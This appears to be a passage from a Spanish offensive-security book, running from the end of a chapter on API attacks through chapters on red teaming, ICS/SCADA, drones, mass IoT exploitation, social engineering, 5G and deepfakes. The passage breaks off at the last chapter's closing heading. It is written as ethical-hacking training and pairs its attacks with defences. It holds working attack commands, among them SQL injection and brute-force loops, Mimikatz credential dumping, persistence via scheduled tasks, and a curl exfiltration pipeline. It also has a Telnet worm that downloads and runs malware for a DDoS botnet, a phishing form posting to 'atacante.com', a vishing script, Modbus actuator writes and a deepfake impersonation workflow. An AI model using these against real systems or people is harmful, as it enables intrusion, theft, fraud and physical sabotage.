*Explotando el esqueleto invisible de las aplicaciones modernas*

### Introducción

Las **APIs (Application Programming Interfaces)** y los **microservicios** son la columna vertebral de las aplicaciones modernas. Permiten que distintos módulos y sistemas se comuniquen, intercambien datos y ejecuten funciones. Pero su gran ventaja —la interconexión y apertura— es también su punto débil. En un pentest ofensivo, las APIs son objetivos de alto valor porque:

 Manejan datos sensibles.

 Están expuestas a Internet.

 A menudo carecen de la misma protección que las interfaces de usuario.

Ejemplos de vulnerabilidades reales:

 **Broken Object Level Authorization (BOLA)**: acceso a datos de otros usuarios cambiando un ID.

 **Falta de validación de entrada**: inyección SQL o comando.

 **Exposición excesiva de datos**: APIs que devuelven más de lo necesario.

 **Mala gestión de tokens y claves**.

### Arquitectura Básica de APIs y Microservicios

**Componente Descripción**

Gateway/API Management Controla acceso y rutas

Microservicios Funciones independientes que se comunican vía HTTP/gRPC Base de datos Fuente de datos, conectada a microservicios

Autenticación OAuth 2.0, JWT, API keys

### Principales Vulnerabilidades según OWASP API Security Top 10

* + 1. **BOLA** – Control deficiente de acceso a objetos.
    2. **Broken User Authentication** – Fallos en autenticación.
    3. **Excessive Data Exposure** – Respuestas demasiado detalladas.
    4. **Lack of Resources & Rate Limiting** – Sin límites de peticiones.
    5. **Broken Function Level Authorization** – Funciones expuestas sin control.
    6. **Mass Assignment** – Asignación masiva de campos no permitidos.
    7. **Security Misconfiguration** – Configuración insegura.
    8. **Injection** – SQL, NoSQL, Command Injection.
    9. **Improper Assets Management** – Versiones antiguas no deshabilitadas.
    10. **Insufficient Logging & Monitoring** – Falta de detección.

### Laboratorio – API BOLA (Broken Object Level Authorization)

Supongamos que tenemos:

GET /api/user/123/profile

Si cambiamos el ID:

GET /api/user/124/profile

y obtenemos datos de otro usuario, la API está vulnerable. Prueba en **Burp Suite**:

* + 1. Capturar la solicitud.
    2. Modificar 123 por 124.
    3. Revisar si devuelve datos no autorizados.

### Laboratorio – Inyección SQL en API

curl -X POST https://api.empresa.com/login \

-H "Content-Type: application/json" \

-d '{"username":"admin' OR '1'='1", "password":"123"}'

Si la API devuelve token válido, es vulnerable a inyección SQL.

### Laboratorio – Exposición de Datos

Algunas APIs devuelven estructuras completas:

{

"id":123,

"name":"Juan Pérez",

"email":["juan@empresa.com"](mailto:juan@empresa.com), "password\_hash":"$2y$10$..."

}

Esto facilita ataques de cracking offline.

### Laboratorio – Abuso de Rate Limit

for i in {1..1000}; do

curl https://api.empresa.com/login -d '{"user":"a","pass":"b"}' done

Si no hay bloqueo, es vulnerable a fuerza bruta.

### Ataques a Microservicios Internos

 **Pivoting**: comprometer un microservicio y usarlo para atacar otros internos.  **Deserialización insegura**: enviar objetos manipulados para ejecutar código.  **Inyección NoSQL** en bases como MongoDB:

curl -X POST https://api.empresa.com/search \

-d '{"query": {"$ne": null}}'

### Ejercicio Práctico Completo

* + 1. Montar API vulnerable (por ejemplo, VAmPI o DVGA en Docker).
    2. Detectar vulnerabilidades:

 BOLA

 Mass Assignment  Injection

* + 1. Documentar hallazgos con pruebas en Burp Suite.
    2. Implementar payloads de explotación.

### Detección y Defensa

 Implementar **autorización a nivel de objeto y función**.  Limitar datos en respuestas.

 Usar validación estricta de entrada.  Implementar rate limiting.

 Autenticación fuerte con OAuth 2.0/JWT.  Cifrado TLS en tránsito.

### Cierre

Las APIs y microservicios son un campo de batalla invisible: mientras el usuario ve una interfaz bonita, debajo hay decenas de rutas y funciones esperando ser exploradas. El atacante que entienda su lógica puede moverse como un fantasma en el backend.

💡 **TIP Black-Hat Ético:** cada endpoint de API es como una puerta; algunas están cerradas, otras solo parecen cerradas.

# Capítulo 30 – Red Teaming Avanzado

*Operaciones ofensivas integrales para medir la defensa real*

### Introducción

El **Red Teaming** es una simulación ofensiva realista diseñada para poner a prueba las defensas de una organización en un escenario que imita un ataque verdadero. A diferencia de un pentest tradicional, que se centra en encontrar vulnerabilidades técnicas específicas, el Red Team busca:

 Evaluar la **respuesta completa** de la organización (detección, reacción y contención).  Integrar técnicas **técnicas, físicas y sociales**.

 Operar como lo haría un actor de amenazas real, con planificación, sigilo y persistencia.

Aquí no se trata de romper sistemas “por romperlos”, sino de replicar una intrusión completa desde la fase de reconocimiento hasta la exfiltración.

### Roles Clave en una Operación Red Team

**Rol Función**

Red Team Simula al atacante, coordina la operación ofensiva. Blue Team Equipo de defensa, encargado de detectar y mitigar.

White Team Supervisión neutral, garantiza el cumplimiento de las reglas.

### Fases del Red Teaming Avanzado

* + 1. **Reconocimiento (OSINT y escaneo)** Recopilar inteligencia sobre personas, infraestructura y defensas.
    2. **Intrusión inicial** Usar phishing, explotación de vulnerabilidades, acceso físico o ingeniería social.
    3. **Escalada de privilegios** Comprometer cuentas privilegiadas.
    4. **Movimiento lateral** Pasar de un sistema a otro en la red interna.
    5. **Persistencia** Instalar backdoors y mecanismos de acceso a largo plazo.
    6. **Exfiltración de datos** Sacar información sin detección.
    7. **Reporte y simulacro de respuesta** Medir qué tan rápido y eficaz fue la reacción del Blue Team.

### Laboratorio de Red Teaming – Escenario Completo

**Objetivo ficticio:** Empresa Demo S.A.

##### Paso 1 – Reconocimiento

theHarvester -d empresa-demo.com -b google,linkedin shodan search "org:\"Empresa Demo S.A.\""

Resultado: se identifican correos, tecnología usada y servidores expuestos.

##### Paso 2 – Acceso inicial vía Spear Phishing

Usar **SET (Social Engineering Toolkit)**:

setoolkit

# Social-Engineering Attacks > Website Attack Vectors > Credential Harvester

Enviar correo falso con login corporativo.

##### Paso 3 – Escalada de privilegios

En host comprometido (Windows):

whoami /priv

Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonpasswords"'

Paso 4 – Movimiento lateral

crackmapexec smb 192.168.1.0/24 -u admin -p password

Paso 5 – Persistencia

schtasks /create /sc minute /mo 30 /tn "Updater" /tr "powershell -File C:\backdoor.ps1"

Paso 6 – Exfiltración

tar czf - datos/ | openssl enc -aes-256-cbc -k clave | curl -X POST --data-binary @- https://192.168.1.50/upload

### Herramientas Clave en Red Teaming

 **Cobalt Strike / Sliver** – Frameworks de C2.

 **Metasploit Framework** – Explotación.

 **BloodHound** – Mapeo de Active Directory.  **Empire** – Post-explotación en PowerShell.  **Gophish** – Campañas de phishing.

### Simulación de Blue Team

Durante el ejercicio, el Blue Team debe:

 Detectar patrones anómalos en logs.

 Bloquear IPs y credenciales comprometidas.  Activar protocolos de respuesta a incidentes.

### Métricas para Medir Éxito

 **Tiempo hasta detección** (TTD).

 **Tiempo hasta contención** (TTC).

 Número de pasos del atacante sin ser detectado.  Impacto potencial de la exfiltración.

### Ejercicio Práctico Completo

* + 1. Armar laboratorio con 3 VMs (victima, atacante, SIEM).
    2. Ejecutar fases de Red Teaming descritas.
    3. Registrar tiempo que tarda el Blue Team en detectar cada fase.
    4. Generar informe con recomendaciones.

### Detección y Defensa

 Uso de **SIEM** para correlación de eventos.

 Segmentación de red para limitar movimiento lateral.  Monitoreo de endpoints con EDR.

 Ejercicios de Red vs Blue regulares.

### Cierre

El Red Teaming avanzado es la prueba de fuego para cualquier organización: no mide cuántos parches tiene, sino cómo responde cuando todo falla.

💡 **TIP Black-Hat Ético:** en una operación real, el sigilo vale más que la velocidad.

# Capítulo 31 – Hacking de Infraestructura Crítica

*ICS, SCADA y redes industriales: cuando un exploit apaga una ciudad*

### Introducción

La **infraestructura crítica** abarca sistemas que sostienen servicios esenciales: electricidad, agua, transporte, petróleo, gas y manufactura industrial. Estos entornos utilizan **ICS (Industrial Control Systems)** y **SCADA**

**(Supervisory Control and Data Acquisition)** para monitorear y controlar procesos físicos. Un ataque exitoso contra estas redes puede:

 Cortar el suministro eléctrico.  Contaminar agua potable.

 Provocar fallos en plantas industriales.

 Generar pérdidas económicas y caos social.

Ejemplos históricos:

 **Stuxnet (2010)**: malware que saboteó centrifugadoras nucleares iraníes.

 **BlackEnergy (2015)**: apagón masivo en Ucrania.

 **Triton/Trisis (2017)**: malware contra sistemas de seguridad industrial.

* 1. Arquitectura de un Sistema Industrial

|  |  |  |
| --- | --- | --- |
| **Capa** | **Componentes** | **Ejemplos** |
| Capa empresarial | ERP, correo, sistemas administrativos | SAP, Office 365 |
| Capa de control | SCADA, HMI (Human Machine Interface) | Wonderware, WinCC |
| Capa de campo | PLC, RTU, sensores, actuadores | Siemens S7, Modicon |
| Red de comunicación | Protocolos industriales | Modbus, DNP3, OPC |

* 1. Protocolos Industriales y Riesgos

|  |  |  |
| --- | --- | --- |
| **Protocolo** | **Uso** | **Vulnerabilidades comunes** |
| **Modbus/TCP** | Comunicación PLC–SCADA | Sin cifrado ni autenticación |
| **DNP3** | Redes eléctricas | Tráfico en texto claro |
| **OPC** | Interoperabilidad industrial | Falta de segmentación |
| **EtherNet/IP** | Redes industriales | Modificación de parámetros en vivo |

* 1. Fases de un Ataque ICS/SCADA
     1. **Reconocimiento** – Identificar dispositivos y protocolos.
     2. **Acceso inicial** – Phishing, VPN comprometida o exposición directa.
     3. **Enumeración** – Mapear PLCs, HMIs y controladores.
     4. **Manipulación** – Cambiar parámetros, alterar lecturas, forzar apagados.
     5. **Persistencia** – Mantener acceso sin ser detectado.
     6. **Encubrimiento** – Borrar logs y restaurar valores aparentes.

### Laboratorio – Descubrimiento de Dispositivos Industriales con Shodan

Buscar PLC Siemens expuestos:

shodan search "Siemens S7"

Buscar dispositivos Modbus:

shodan search "port:502 modbus"

Esto devuelve direcciones IP, banners y ubicación geográfica.

### Laboratorio – Interacción con Modbus

Usando modbus-cli:

modbus read --ip 192.168.1.100 --port 502 --unit 1 --address 0 --quantity 10

Esto lee registros de un PLC ficticio en laboratorio. Escritura (⚠ solo en entorno de pruebas):

modbus write --ip 192.168.1.100 --port 502 --unit 1 --address 5 --value 1

Activa o desactiva un actuador.

### Escenario de Intrusión ICS

* + 1. **Reconocimiento externo**: Shodan revela IP con puerto 502 abierto.
    2. **Acceso inicial**: VPN mal configurada permite entrar a la red industrial.
    3. **Enumeración**: escaneo interno con nmap y scripts NSE industriales:

nmap -p502 --script modbus-discover 192.168.1.0/24

* + 1. **Manipulación**: cambio de parámetros críticos en PLC.
    2. **Exfiltración**: copiar planos y configuraciones de planta.

### Ataques Avanzados

 **Replay attacks**: capturar comandos válidos y reproducirlos para alterar procesos.

 **Man-in-the-Middle industrial**: interceptar Modbus/TCP y modificar valores.

 **Firmware attacks**: subir firmware modificado al PLC. Ejemplo con Bettercap:

bettercap -iface eth0 set modbus.spoof on

### Ejercicio Completo de Laboratorio ICS

* + 1. Instalar **OpenPLC** y **ScadaBR** en VMs.
    2. Conectar ambas simulando planta industrial.
    3. Usar nmap y modbus-cli para leer y modificar registros.
    4. Documentar cambios y simular impacto.

### Contramedidas y Defensa

 **Segmentación de red**: separar IT de OT (Operational Technology).

 **Firewalls industriales** y listas blancas de dispositivos.

 **Cifrado y autenticación** en protocolos industriales (cuando sea posible).

 **Monitoreo continuo** con IDS/IPS para ICS (ej: Snort, Zeek, Dragos).  Capacitación de operadores para detectar anomalías.

### Cierre

Hackear infraestructura crítica es hackear el mundo físico. Aquí, un exploit no solo roba datos: puede dañar vidas y paralizar ciudades. En Red Teaming, simular ataques ICS/SCADA con ética y control es vital para fortalecer estas redes.

💡 **TIP Black-Hat Ético:** en el mundo industrial, un bit mal colocado puede tener el peso de una bomba.

# Capítulo 32 – Hacking con Drones y Dispositivos Autónomos

*Tomando el control del cielo y la tierra sin poner un pie en el objetivo*

### Introducción

Los **drones** (UAV – Unmanned Aerial Vehicles) y los **dispositivos autónomos** han dejado de ser simples juguetes para convertirse en herramientas críticas para logística, seguridad, agricultura, transporte y

operaciones militares. Su creciente uso los ha convertido en un objetivo atractivo para:

 Espionaje.  Sabotaje.

 Robo de datos.

 Acceso físico remoto.

Al igual que en otros sistemas conectados, la seguridad de los drones a menudo queda relegada frente a la funcionalidad y el costo.

### Principales Superficies de Ataque

**Superficie Ejemplo de vulnerabilidad**

**Comunicación RF** Interceptación y suplantación de señal entre control remoto y dron.

**GPS** Spoofing o jamming para alterar navegación.

**Firmware** Modificación para desbloquear restricciones o instalar backdoors.

**Aplicaciones móviles** Inyección de código o manipulación de APIs.

**Wi-Fi** Compromiso de red para control remoto.

**Sensores** Manipulación de datos de cámaras, LIDAR o IMU.

### Protocolos Comunes y Riesgos

 **DJI Lightbridge / OcuSync** – Comunicación cifrada, pero susceptible a vulnerabilidades en firmware.

 **MAVLink** – Muy usado en drones DIY y profesionales; en versiones antiguas no cifradas, permite interceptar y modificar comandos.

 **Wi-Fi estándar** – En modelos de consumo, a menudo con contraseñas débiles por defecto.

### Laboratorio – Interceptación de MAVLink

Instalar **MAVProxy** en Kali:

sudo apt install mavproxy

mavproxy.py --master=udp:0.0.0.0:14550

Si el dron envía telemetría por UDP sin cifrar, podrás leer y enviar comandos:

mode GUIDED arm throttle takeoff 10

⚠ Esto **solo** debe hacerse con drones propios en entorno controlado.

### GPS Spoofing

Usar **gps-sdr-sim** con SDR (Software Defined Radio):

gps-sdr-sim -e brdc3540.14n -l 40.6892,-74.0445,100

Esto simula señal GPS para "engañar" al dron y cambiar su ubicación percibida.

### Hacking de Aplicaciones de Control

* + 1. Decompilar APK de la app del dron:

apktool d drone\_app.apk

* + 1. Buscar claves API o endpoints internos.
    2. Modificar parámetros como límites de altura o zonas restringidas (No-Fly Zones).

### Ejemplo de Ataque Wi-Fi

Muchos drones crean su propia red Wi-Fi:

airmon-ng start wlan0 airodump-ng wlan0mon

Capturar handshake y crackear clave con aircrack-ng:

aircrack-ng captura.cap -w diccionario.txt

Si es débil, se obtiene acceso completo al dron.

### Escenario de Intrusión Completo

* + 1. **Reconocimiento RF**: escaneo de espectro con rtl\_power para encontrar frecuencia.
    2. **Interceptar telemetría** vía MAVLink.
    3. **Enviar comandos falsos** para cambiar destino.
    4. **Desactivar cámara** para evitar detección.
    5. **Aterrizar en punto controlado** para captura física.

### Hacking de Robots y Vehículos Autónomos

Además de drones, muchos dispositivos autónomos usan protocolos similares:

 **ROS (Robot Operating System)** – Comunicación sin cifrar por defecto.

 **CAN Bus** – En vehículos, permite manipular funciones críticas.

Ejemplo de lectura de ROS:

rostopic list

rostopic echo /cmd\_vel

Si no está protegido, se pueden inyectar comandos de movimiento.

### Ejercicio Completo de Laboratorio

* + 1. Montar dron con autopiloto **ArduPilot** en simulador SITL.
    2. Configurar MAVLink sin cifrar.
    3. Interceptar y modificar comandos con MAVProxy.
    4. Documentar impacto y vector de entrada.

### Contramedidas

 Usar versiones cifradas de MAVLink (MAVLink2).  Cambiar contraseñas Wi-Fi por defecto.

 Firmar y verificar firmware antes de instalarlo.

 Usar GPS con autenticación (cuando sea posible).  Segmentar redes entre control y telemetría.

### Cierre

Hackear drones y dispositivos autónomos no es ciencia ficción: hoy es posible manipular su comportamiento con herramientas de bajo costo. En manos equivocadas, un dron comprometido es una amenaza aérea; en manos de un pentester ético, es una oportunidad para reforzar defensas antes de que sea tarde.

💡 **TIP Black-Hat Ético:** en la guerra digital, controlar el cielo puede ser más decisivo que dominar la tierra.

# Capítulo 33 – Explotación de IoT Masivo

*Cuando miles de dispositivos inteligentes se convierten en un ejército*

### Introducción

El **Internet de las Cosas (IoT)** ha crecido de forma explosiva: cámaras IP, asistentes de voz, cerraduras inteligentes, electrodomésticos conectados, sistemas de climatización y hasta sensores industriales. Su proliferación masiva ha creado un **territorio fértil para ataques** porque:

 Muchos dispositivos carecen de actualizaciones de seguridad.  Se usan contraseñas por defecto.

 Están siempre conectados a Internet.

 Suelen estar mal segmentados de la red principal.

Casos reales:

 **Mirai Botnet (2016)**: millones de cámaras IP y routers usados para ataques DDoS masivos.

 **Hajime** y **Mozi**: redes botnet P2P que comprometen IoT y se auto-propagan.

 **Reaper**: botnet que explota vulnerabilidades en lugar de solo credenciales débiles.

### Superficie de Ataque IoT

**Vector Ejemplo**

**Contraseñas por defecto** admin:admin, root:1234

**Puertos abiertos** Telnet, SSH, HTTP sin cifrar **Firmware inseguro** Backdoors, sin firma digital **Protocolos inseguros** UPnP, MQTT, RTSP

**Servicios expuestos** Paneles de administración accesibles públicamente

### Reconocimiento Masivo

El primer paso en la explotación IoT masiva es **descubrir dispositivos vulnerables**.

##### Ejemplo con Shodan

Buscar cámaras IP con panel web:

shodan search "Server: GoAhead-Webs"

Buscar routers con Telnet abierto:

shodan search "port:23 country:AR"

Ejemplo con Censys

censys search 'services.service\_name: "TELNET" AND location.country\_code: "AR"'

### Escaneo y Enumeración Masiva

nmap -p 23,80,554 --open 190.0.0.0/8 --script banner

 port 23 = Telnet

 port 80 = Panel web

 port 554 = Streaming RTSP

### Explotación de Credenciales por Defecto

Usando **Hydra** para fuerza bruta:

hydra -L users.txt -P passwords.txt telnet://192.168.1.100

Si el fabricante no obliga a cambiar credenciales, el acceso suele ser trivial.

### Acceso a Streams de Cámaras IP

Si RTSP está abierto y sin credenciales:

vlc rtsp://192.168.1.101:554/stream1

Esto permite ver video en vivo sin autorización.

### Inyección en Paneles Web IoT

Muchos dispositivos usan servidores HTTP minimalistas y vulnerables a:

 **XSS**

 **Command Injection ** **Directory Traversal**

Ejemplo de inyección:

curl ["http://192.168.1.105/cgi-bin/admin.cgi?cmd=ls../../etc"](http://192.168.1.105/cgi-bin/admin.cgi?cmd=ls../../etc)

### Escenario de Botnet IoT en Laboratorio

* + 1. **Objetivo**: comprometer 10 cámaras IP simuladas en Docker.
    2. Escanear con Nmap para detectar IPs activas.
    3. Conectarse vía Telnet con credenciales por defecto.
    4. Subir binario malicioso que abra conexión reversa.
    5. Coordinar ataques DDoS desde todos los nodos.

### Laboratorio – Propagación Automática

Usar un script en Python para buscar nuevos dispositivos y comprometerlos:

import telnetlib

targets = ["192.168.1.101", "192.168.1.102"]

for ip in targets: try:

tn = telnetlib.Telnet(ip) tn.read\_until(b"login: ") tn.write(b"admin\n")

tn.read\_until(b"Password: ") tn.write(b"admin\n")

tn.write(b"wget <http://192.168.1.50/malware.bin> -O /tmp/m\n") tn.write(b"chmod +x /tmp/m && /tmp/m\n")

tn.close() except:

pass

⚠ **Solo en entorno de pruebas controlado.**

### Explotación de MQTT

Muchos dispositivos usan **MQTT** sin autenticación.

mosquitto\_sub -h broker.iot.local -t "#"

Esto suscribe a todos los tópicos y permite espiar o inyectar comandos.

### Defensa Contra Explotación IoT Masiva

 Cambiar contraseñas por defecto al primer uso.  Actualizar firmware periódicamente.

 Deshabilitar servicios no usados (Telnet, UPnP).  Usar firewalls y segmentación de red.

 Implementar cifrado en protocolos IoT (MQTT sobre TLS).

### Cierre

La explotación de IoT masivo demuestra que **la seguridad del sistema más débil es la seguridad de toda la red**. Un solo dispositivo vulnerable puede abrir la puerta a un ataque coordinado de gran escala.

💡 **TIP Black-Hat Ético:** en un enjambre IoT, un dispositivo comprometido es un virus; cien, son una pandemia.

# Capítulo 34 – Ingeniería Social Avanzada

*El arte de hackear personas antes que máquinas*

### Introducción

La **ingeniería social** es la manipulación psicológica de personas para que revelen información, realicen acciones o permitan accesos que normalmente no darían. En seguridad ofensiva, la ingeniería social es tan importante como las vulnerabilidades técnicas: la defensa más fuerte puede caer si alguien abre la puerta.

Casos reales:

 **Kevin Mitnick** accedió a sistemas corporativos principalmente mediante engaños a empleados.

 **Red Teamings corporativos** logran acceso físico disfrazándose de técnicos o personal de limpieza.

 **Phishing dirigido (Spear Phishing)** compromete cuentas críticas en pocas horas.

### Principios Psicológicos que Aprovecha la Ingeniería Social

**Principio Ejemplo ofensivo**

**Autoridad** “Soy del departamento de IT, necesito tu contraseña para resolver un problema.”

**Urgencia** “Si no respondes en 10 minutos, tu cuenta será suspendida.” **Escasez** “Última oportunidad para acceder a esta oferta exclusiva.” **Reciprocidad** Dar un pequeño favor o regalo antes de pedir acceso.

**Confianza previa** Usar información personal para parecer legítimo.

### Tipos Avanzados de Ingeniería Social

* + 1. **Pretexting** – Crear una historia falsa y creíble para obtener datos.
    2. **Phishing Avanzado** – Emails o mensajes casi indistinguibles de los reales.
    3. **Vishing** – Ingeniería social por teléfono.
    4. **Smishing** – Phishing vía SMS.
    5. **Quid pro quo** – Ofrecer algo a cambio de credenciales o acceso.
    6. **Impersonación física** – Acceder a instalaciones con uniforme o acreditación falsa.

### Escenarios Combinados

Un ataque efectivo suele combinar varios métodos:

* + 1. **OSINT** para recopilar datos de la víctima (redes sociales, LinkedIn).
    2. **Spear phishing** usando esos datos para crear un email personalizado.
    3. **Llamada telefónica** de seguimiento para validar acceso.
    4. **Visita física** aprovechando la relación de confianza generada.

### Laboratorio – Spear Phishing Personalizado

**Paso 1 – Recolección de información con theHarvester**

theHarvester -d empresa-demo.com -b linkedin,google

**Paso 2 – Creación de email creíble** Usar plantilla HTML idéntica al portal corporativo.

<form action=["http://atacante.com/login"](http://atacante.com/login) method="POST">

<input type="text" name="user">

<input type="password" name="pass">

<input type="submit" value="Iniciar sesión">

</form>

**Paso 3 – Envío controlado** Usar **Gophish** para campañas controladas:

gophish

### Laboratorio – Pretexting Telefónico

Preparar guion:

“Hola, soy Carlos de soporte técnico. Hemos detectado actividad sospechosa en tu cuenta y necesitamos verificar tu identidad. Por favor, indícame el código de verificación que te enviamos.”

Se practica en entorno controlado con roles predefinidos.

### Laboratorio – Ingreso Físico con Ingeniería Social

Escenario de prueba:

* + 1. Vestirse con uniforme de proveedor de servicios (limpieza, telecomunicaciones).
    2. Portar carpeta con papeles falsos y credencial creíble.
    3. Entrar a la recepción y mencionar a un contacto interno real (obtenido por OSINT).
    4. Una vez dentro, evaluar accesos físicos.

### Ataques de Ingeniería Social en Redes Sociales

 **Catfishing**: Crear perfiles falsos para ganar confianza.

 **Friend phishing**: Usar contactos de la víctima para obtener información.

 **Gamificación**: Formularios “divertidos” que piden datos sensibles.

### Ejercicio Completo – Campaña de Ingeniería Social

**Objetivo:** Comprometer credenciales de acceso interno.

* + 1. **OSINT** – Recolectar emails, organigrama y tecnología usada.
    2. **Creación de pretexto** – Historia coherente para el ataque.
    3. **Fase de ataque** – Enviar phishing, llamar a víctimas y coordinar visita física.
    4. **Evaluación** – Medir porcentaje de éxito y tiempo de detección.
    5. **Informe** – Documentar vulnerabilidades humanas y proponer entrenamiento.

### Contramedidas y Defensa

 Capacitación regular de empleados.  Simulacros de phishing.

 Verificación de identidad antes de dar información.

 Protocolos de doble verificación para cambios críticos.  Política de “nunca compartir contraseñas”.

### Cierre

En seguridad ofensiva, la ingeniería social avanzada es la llave maestra: en lugar de forzar una puerta, se convence a alguien de que la abra. Un buen Red Team sabe que hackear personas requiere tanta planificación y precisión como hackear servidores.

💡 **TIP Black-Hat Ético:** un exploit bien escrito es peligroso, pero una historia bien contada puede ser imparable.

# Capítulo 35 – Hacking de Redes 5G y Comunicaciones Avanzadas

*Explotando la columna vertebral de la hiperconectividad moderna*

### Introducción

Las redes **5G** no son solo una evolución de la tecnología móvil: representan una infraestructura crítica para IoT masivo, vehículos autónomos, telemedicina y ciudades inteligentes. Aunque prometen **mayor velocidad, baja latencia y mejor seguridad**, la realidad es que traen **nuevas superficies de ataque**:

 Virtualización de funciones de red (**NFV**).  Redes definidas por software (**SDN**).

 Conexiones masivas de dispositivos heterogéneos.  Protocolos complejos y nuevas dependencias.

Ataques contra 5G pueden:

 Interceptar comunicaciones.

 Rastrear ubicación de usuarios.

 Desplegar malware a escala masiva.  Interrumpir servicios críticos.

### Arquitectura 5G en Breve

|  |  |  |
| --- | --- | --- |
| **Componente** | **Función** | **Riesgos** |
| **gNodeB** | Estación base 5G | Acceso físico o firmware vulnerable |
| **Core 5G** | Procesamiento central | Explotación de APIs y NFV |
| **Edge Computing** | Procesamiento cercano al usuario | Vulnerabilidades en nodos de borde |
| **UE (User Equipment)** | Dispositivos | Fallos en apps y firmware |

* 1. Superficies de Ataque Clave
     1. **Plano de control (CP)** – Señalización y autenticación.
     2. **Plano de usuario (UP)** – Transmisión de datos.
     3. **Interfaces API expuestas** – En el core de red.
     4. **Virtualización** – Ataques a hipervisores y contenedores.
     5. **IoT masivo** – Dispositivos vulnerables como puerta de entrada.

### Vulnerabilidades Históricas y Actualizadas

 **SS7 / Diameter**: Protocolos heredados aún presentes en algunos entornos.

 **Fuzzing en NAS y RRC**: Posible denegación de servicio al UE.

 **Interceptación IMSI**: Uso de **IMSI catchers** para rastreo y captura de datos.

### Laboratorio – IMSI Catching con Software Defined Radio (SDR)

Instalar **srsRAN** en Kali Linux:

sudo apt install srsran

Ejecutar para detectar IMSI:

sudo srsenb sudo srsepc

Usar un SDR como **USRP B200** o **HackRF One** para simular estación base.

### Ataques de Fuzzing al Plano de Control

Usando **Boofuzz**:

from boofuzz import \*

session = Session(target=Target(connection=SocketConnection("192.168.1.10", 36412, proto='udp')))

session.connect(s\_get("5G\_NAS\_Message")) session.fuzz()

⚠ Solo en laboratorio aislado.

### Interceptación de Tráfico en 5G NSA

En despliegues **NSA (Non-Standalone)**, parte del tráfico aún pasa por infraestructura 4G LTE vulnerable:  Ataques a S1-U y S1-MME.

 Interceptación con herramientas como **srsLTE**.

### Escenario Completo – Compromiso de Red 5G

* + 1. **Reconocimiento**: identificar frecuencias y celdas con SDR.
    2. **Simulación de gNodeB** para atraer dispositivos.
    3. **Captura IMSI** y datos de sesión.
    4. **Inyección de tráfico malicioso** vía plano de usuario.
    5. **Pivoting** hacia core 5G a través de APIs expuestas.

### Ataques a APIs 5G

Las redes modernas usan APIs REST para interconectar funciones:

curl -X GET <http://core5g.local/api/v1/subscribers>

Si no están autenticadas o cifradas correctamente, permiten acceso a datos masivos.

### Laboratorio – Ataque al Core 5G Virtualizado

En entornos de prueba como **Open5GS**:

* + 1. Desplegar core en contenedores Docker.
    2. Escanear con Nmap:

nmap -p 80,443,5000,8080 core5g.local

* + 1. Explorar vulnerabilidades en paneles web o APIs.

### Contramedidas y Defensa

 Autenticación y cifrado robusto en APIs.

 Aislamiento de funciones de red virtualizadas.  Monitoreo de anomalías en señalización.

 Detección de IMSI catchers mediante apps y sensores de red.  Segmentación estricta entre core y edge.

### Cierre

El hacking en redes 5G es un campo nuevo pero explosivo: el riesgo no está solo en la infraestructura, sino en la interconexión de millones de dispositivos. Un fallo aquí puede escalar más rápido que en cualquier otra tecnología de comunicación previa.

💡 **TIP Black-Hat Ético:** en 5G, un exploit no ataca un servidor: ataca un ecosistema entero en milisegundos.

# Capítulo 36 – Deepfakes y Manipulación

**Multimedia para Operaciones de Ingeniería Social**

*Hackeando la percepción humana para abrir puertas digitales y físicas*

### Introducción

Los **deepfakes** son medios audiovisuales manipulados mediante inteligencia artificial, capaces de reemplazar rostros, modificar voces o incluso generar personas y situaciones completamente ficticias con un alto nivel de realismo. En manos de un atacante, un deepfake puede:

 **Suplantar identidades** para fraudes financieros.

 **Generar pruebas falsas** en extorsiones.

 **Alterar reputaciones** en campañas de desinformación.

 **Convencer víctimas** para entregar información sensible.

Casos reales:

 **Fraude de CEO (2020)**: uso de deepfake de voz para ordenar transferencias bancarias.

 **Operaciones políticas** con videos falsos para manipular opinión pública.

 **Phishing avanzado** en videollamadas usando rostro y voz clonados.

### Tipos de Deepfakes y Manipulación Multimedia

**Tipo Descripción Uso ofensivo**

**Face-swap** Reemplazo de rostro en video o imagen Suplantar identidad en

videollamadas

**Voice cloning** Síntesis de voz realista Llamadas fraudulentas

**Lip-sync** Alterar labios para coincidir con nuevo audio

Falsas declaraciones

**Full-body** Generar movimiento corporal realista Creación de escenas falsas

**Generación completa**

Crear videos de personas inexistentes Identidades falsas en redes sociales

### Herramientas Comunes

 **DeepFaceLab** – Face-swap avanzado.

 **Faceswap** – Open source para intercambio de rostros.

 **Respeecher / ElevenLabs** – Clonado de voz realista.

 **Wav2Lip** – Sincronización labial con nuevo audio.

 **Stable Diffusion + ControlNet** – Generación de imágenes hiperrealistas.

 **Deepware Scanner** – Detección de deepfakes (para defensa).

### Laboratorio – Creación de Deepfake de Rostro

* + 1. **Instalar DeepFaceLab**:

 Descargar versión GPU para Windows/Linux.

* + 1. **Extraer rostros**:

python main.py extract --input-dir ./video\_original --output-dir ./rostros

* + 1. **Entrenar modelo**:

python main.py train --model SAEHD --data-dir ./rostros

* + 1. **Reemplazar rostro en video destino**:

python main.py merge --input-dir ./video\_destino --output ./video\_fake.mp4

### Laboratorio – Clonado de Voz

Usando **so-vits-svc** (open source):

git clone https://github.com/svc-develop-team/so-vits-svc

python train.py --dataset ./grabaciones --config config.json python inference.py --input sample.wav --output clon.wav

 Dataset: 3–5 minutos de voz clara.

 Aplicación: suplantar identidad en llamada VoIP.

### Escenario de Phishing con Deepfake

* + 1. **OSINT** – Obtener fotos y videos de la víctima (LinkedIn, Instagram, entrevistas).
    2. **Generar modelo** de rostro y voz.
    3. **Crear video corto** solicitando acción urgente (ej: “Autoriza esta transferencia”).
    4. **Enviar vía email o WhatsApp** simulando comunicación directa.

### Deepfakes en Videollamadas en Tiempo Real

Herramientas como **Avatarify** o **DeepFaceLive** permiten transmitir la cámara con rostro modificado en vivo.

python run.py --avatar ./modelo.pth --cam 0

Aplicable en Zoom, Teams o Meet para impersonación directa.

### Ejercicio Completo – Operación de Ingeniería Social con Deepfake

**Objetivo:** Obtener credenciales de acceso interno.

* + 1. Crear deepfake del director de la empresa.
    2. Contactar a empleado clave vía videollamada.
    3. Solicitar envío de credenciales “por emergencia”.
    4. Evaluar tiempo de respuesta y nivel de confianza.
    5. Redactar informe para defensa.

### Técnicas de Defensa

 **Verificación en múltiples canales** (llamada adicional, código seguro).

 **Capacitación** para reconocer señales de deepfake (parpadeo anormal, artefactos visuales).

 **Monitoreo de redes sociales** para limitar material de entrenamiento.

 **Herramientas de detección** como Deepware Scanner o Reality Defender.

 **Política de no actuar solo con base en videos/mensajes no verificados**.

### Cierre

